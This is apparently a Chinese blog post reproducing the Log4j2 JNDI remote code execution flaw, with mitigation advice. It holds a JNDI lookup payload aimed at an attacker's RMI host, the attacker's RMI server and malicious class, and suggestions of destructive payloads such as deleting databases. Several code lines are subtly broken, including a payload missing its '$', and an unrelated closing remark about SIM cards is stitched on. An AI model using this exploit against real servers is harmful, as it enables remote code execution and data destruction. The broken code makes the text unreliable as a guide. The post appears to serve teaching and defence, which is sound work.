漏洞描述
? Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
前景知识
RMI – (Remote Method Invocation,远程方法调用)
是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。
Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。
Java RMI(Remote Method Invocation)–Java的远程方法调用是Java所特有的分布式计算技术,它允许运行在一个Java虚拟机上的对象调用运行在另一个Java虚拟机上的对象的方法,从而使Java编程人员可以方便地在网络环境中作分布式计算。
Bug复现
Log4j2Test.java
假设这个类是企业的代码,首先我们写一个Log4j测试类-- Log4j2Test
public class Log4j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) {
String username = "{jndi:rmi://192.168.59.29:1099/evil}"
LOGGER.info("hello,{}", username);
}
}
[1] 查询jvm的信息:
RMIServer.java
这个类是黑客写的,创建自己的一个RMI服务作为一个类似于注册中心的角色
public class RMIServer {
public static void main(string[ ] args){
try {
LocateRegistry.createRegistry(1099);
Registry registry = locateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("com.rmi.EvilObj", "com.rmi.EvilObj", );
ReferenceWrapper re = new ReferenceWrapper(reference);
registry.bind("evil", re);
} catch(Exception e) {
....
}
}
}
EvilObj.java
这个类是黑客写的,注册的服务
public class EvilObj {
static {
System.out.println("在哪执行的");
}
}
步骤
1、启动RMIServer.java注册中心
2、假设Log4j2Test是一个controller通过接口接收到的参数username="{jndi:rmi://192.168.59.29:1099/evil}"
这里的IP和端口号都是黑客的IP和端口,访问evil服务
3、只要使用了LOGGER.info(“hello,{}”, username);这段代码,就会启动黑客的evil服务,随后执行evil服务的代码
这里抛出一个疑问,evil代码会在哪里执行,是会在黑客的RMIServer执行,还是在Log4j2Test执行
4、现在启动Log4j2Test.java,发现 “在哪执行的” 字符串在Log4j2Test执行的
解决方案
? 1、更新版本,现今已经有解决问题的版本了: 只要>= 2.15.0版本基本都可以避免这个问题
2、如果还来不及更新依赖版本的,可以改一下配置:
-Dlog4j2.formatMsgNoLookups=true
可以使用此 JVM 标志来缓解该问题,它只是告诉log4j 在格式化时不要进行任何查找消息。
总结
黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。
经典jndi注入,非常危险~,想一想我们在EvilObj.java静态方法区中写更多的代码,比如说jdbc的删库、调用操作系统的指令占满CPU都是非常致命的
之前看过的一个视频,把手机SIM卡名字改成“无SIM卡”,然后就真的没网了。
|